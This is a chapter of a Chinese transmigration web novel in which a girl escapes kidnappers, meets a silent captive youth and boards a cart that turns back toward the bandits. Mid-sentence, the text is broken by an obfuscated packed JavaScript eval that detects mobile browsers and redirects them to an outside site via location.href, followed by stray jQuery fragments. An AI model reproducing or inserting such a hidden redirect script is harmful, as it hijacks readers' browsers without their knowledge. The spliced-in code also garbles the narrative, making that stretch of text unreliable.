江岁睁开眼的第一画面,就是自己躺在一个茅草屋内,头顶是密不透风的屋顶,四周灰扑扑一片,身后是高大的干草堆,空气中还有一股陈年老旧气味,闻着作呕,其它一概不知。
谁家好人穿越的第一件事是被关小黑屋啊,江岁头都大一圈。
系统非常好心的传来提示:【宿主您好,前景提要,原身为了逃婚一个人跑了出来,不幸的是被恶人绑架掳走到此,介绍完毕,希望宿主能平安完成任务】
江岁听明白了,眼下她有两个任务,目前最重要的就是逃离这里,其次任务才是找人,就是这个地方哪有能逃得位置?
她忽的叹气,准备先巡视一圈探探底,从草屋的大门缝隙向外觑去,大门自外上锁,显然可见,这门是走不通,那就只能走窗,她又推了推那纸糊的窗户,结果也是不行。
人家连门都上锁,又怎么会让窗户白白开着呢,想到这里,江岁摇摇头,突然为自己的智商堪忧。
她逐渐走进一侧的土墙,墙面是泥土堆砌而成,只是这墙面貌似是因为年久的原因,已经开始掉渣,脚边有不少土块碎屑,甚至出现缝隙,细细的风随着缝隙钻进来,吹得她有点头皮发凉。
脚步下意识往旁边躲,却也不小心踩到什么,一个踉跄,一声惊呼,差点摔下去,她眼尖,及时调转身体平衡,整个身体向一旁歪去,手掌撑住墙壁,这才幸免于难。
在黑暗的环境下,江岁的眼睛已经适应周遭,等站稳后,她在昏暗的光线中,向着脚下未知物体看去,不看不要紧,一看又是一跳,吓得她直起身子,后退好几步。
地上的,居然是个男人!
只是这人浑身跟没力气的木偶一样,就这样倚靠在干草堆上,一动不动,她看不清地上人的状态,也不知是死是活,不过瞧着确实狼狈,她大胆着又俯下身去瞧情况,毕竟穿越这种事都发生在她身上,想来也没有什么再会令她害怕。
她缓缓向前挪动身体,向着那人面部探去,不知是她的行为过于冒犯还是什么原因,地上男子感受到她的存在,也非常赏脸面的向她看过来,于是两双眼睛霎时碰撞,江岁看得一激灵,忍不住叹了一声。
那是个青年,一双如水般温润的眼睛,此时毫无生气地望着她,就好像岸边濒临渴死的鱼儿,让人心生怜悯。
江岁对他人容貌有着毫不吝啬的欣赏与赞美,她向来看见任何美好事物,秉承着一夸到底的心态,因此很多人都喜欢这样性格直率的她。
就如现在,即便这个少年面如死灰,她也能清楚辨认出他的姿色之盛,方才又不小心感叹出声,想现在处境,应该还是不礼貌的,但眼下明显不是想这个的时候,毕竟刚刚她还不小心给他来上一脚。
“对不起对不起,我没看见,你怎么样,还好吗?”
她的声音在干涩的空气中没有得到回应,少年并不愿理会她,脑袋又是瞧了一眼,不慌不忙转回去。
江岁并不在意他理不理会自己的问题,因为在这样陌生又安静的环境,有人存在真的算得上一份惊喜!
“你知道这里是什么地方吗?我们该怎么出去?”
她缓缓蹲下,试图用关怀拉进近距离,哪知对面还是默不作声。
见还是不愿意开口,她视线下移,他瘫软在草堆上,就连江岁方才不小心踩到他的小腿后,他也是一动不动,莫非是个哑巴?还是……
好吧,既然从他身上套不出话,时间紧迫,那就只能靠自己,她还得去找人做任务呢!江岁暗下决心,开始在墙面寻找线索。
她的努力没有白费,不多时就在土墙一角发现一个小洞,□□草填补,只有碗口般大小。
这不要紧,江岁之所以能选择将目标放在土墙上,就是因为房子看似早已年久失修,是个岌岌可危的危房,所以果不其然,在墙角发现了线索。
她蹲身将干草抽出,那一隅之地瞬间有了光芒,江岁也信心大增,开始对墙角不断踢蹬打挖,双手双脚并用,干燥的土块开始脱落,几十分钟过去,墙面形状便可供一人钻过,江岁脸上多出几分汗水,扬了扬身上的灰,正准备借洞逃走。
她回头看向那人,他还是身体保持着原样,面上也没有任何惊喜或慌张。
“那个,虽然你不愿意帮我,但如果我能出去,我一定会找人来救你的,你放心!”
她做着保障,可……还是毫无反应。
江岁二话不说,转头从洞中钻出。
在开始对环境侦查的时候,她就发现这一点不同,别人被绑匪绑架,除了上锁,一般还会配个壮汉守门才对,就算没有人守门,门外也应该有人值守,反正不会少人就对了,奇怪的点就在,这里的绑匪似乎对他们很是放心,门外莫说是人,连鸟都没有!
等来到室外,江岁望着院落,果然如此,空荡荡的院子除了摆放了几件集满灰尘的农具外,一无所有。
可以说,这绑架绑地十分放心——是对他们十分放心。
江岁深受电视剧影响,还以为会有拿着大弯刀的壮汉来恐吓,没想到人生面临的第一次绑架居然如此放松,简直天助她也,那这下就好办。
江岁抬脚就想往大门冲,但又心生警觉,万一门外有人呢?对,从大门走还是太危险,她转头又看向土屋侧边,发现一处好地方,那里还有块空地,也刚好有堆放的木箱在墙边。
江岁:这简直就是为我逃跑准备好的啊!
她三步跨上墙,蹬的一下又跳下,一切完美流利的不像话。
“还好还好,先找人救那小子,然后再去找人。”她口中喃喃自语,双脚跟梭子似的开始疾步,又咔嚓一下顿住。
这个地方隐于一片树林,方圆几里都是望不见头的树,此时此刻,有两人正站在她身前不远处。
“你说这啥时候来啊,我们在这守这么长时间,可累死俺了。”
“我也守累了,哎,往好处想吧,起码咱们不用时时刻刻盯着那两人,还能走动走动,晚上一起喝酒去。”
就在前方不远处,两个男人并列而行在树林间散步,腰上佩戴银色弯刀,随着他们的步伐砰砰打在身上,一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317588|198994||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一响,两人肤色黝黑,语气不善,这简直和她想象中,杀人不眨眼的绑匪一模一样。
居然遇到绑匪!还是散步的绑匪!这对吗!原来门外无人,是在这里守着呢。
江岁有点痛恨系统,为什么非要让自己一来就面对这样的事情,那可是绑匪,还是拿真刀的绑匪啊,她未成年是三好学生,成年后更是三好市民,有一百个命也不敢和这样的人斗啊。
环视一下周围,还好四周有草丛和树木遮挡,不然差点就暴露在他们面前,江岁压下脚步,低着脑袋打算绕道而走。
没走两步,草丛堆里幽幽跳出两只虫,看样子也是散步,不幸被江岁遇上,她向来害怕虫子,一不小心,叫出声。
“啊!”
她惊慌失措,慌得把嘴捂住,心里又是怕虫,更怕被人发现,但想不发现也不可能,两绑匪听到声响,早就拔刀望了过来,江岁回头查看情况,也看见了他们。
“嘿!小丫头片子怎么这么眼熟,居然自己跑出来了,爷爷还是小瞧你。”
其中一男人说着就往她这边跑,江岁无奈,只能向另一方向逃命,脚上的劲,比她现实任何一次赶公交时都要大,连着身后的男人也道:“嘿你个丫头,跑得比兔还快,再跑宰了你!”
他越这样说,江岁跑得越快,那被抓上了可就真完了。
还好没一会,她跑到下坡路,顺着路势她轻松甩开一截,但没完,她顺势观察着地形,这里是山上,而且从路上的车马及行人痕迹来看,这还是条经常有人走的大道。
太好了,那只要顺着这条路跑下去,就一定能找到人救自己。
她呼哧呼哧,体力逐渐有些不足,身后男人的身影还若隐若现在丛林间,于是她只好又拿出最后一点力气,尽力跑起来。
不过好在上天还是对她不错,不对,应该是这该死的系统对她不错,这里是一条经常有人走的路,所以拐弯后,在前方几尺距离,她眼尖看到一马车,正往山下奔驰去。
“等等!等等!前面的好心人,能捎上我吗,喂!”
那赶车之人见车后追着一个姑娘,立马停下车,江岁这才好快速搭话,说明缘由:“这山上有恶人绑匪啊,杀人的,我,我刚逃出来,能载我下山吗老婆婆,拜托了。”
马车的主人是一位上了岁数的老人,江岁也惊讶,这般年纪怎么还有力气赶车,她想不了那么多,能安全离开这里便是最好。
她双眼散发出恳求之态,那老人也是听后一言未发,就招呼她快上车,江岁能听到树林里,绑匪的急促脚步声音愈来愈近,真跟恶鬼一样紧抓不放,但是现在,她已经有了工具,想来定能比一双腿快,所以她毫不犹豫冲上车。
老人见她上车,也是非常快速的驾起马车,准备再次赶路,就是……额……
就是方向好像不太对啊!
江岁还没坐稳,老人已经拾起马鞭,调转马匹,向山上驰去。
十九年的人生,她都没遇到过这样令人心如死灰的事情。
“你你你,你干什么!”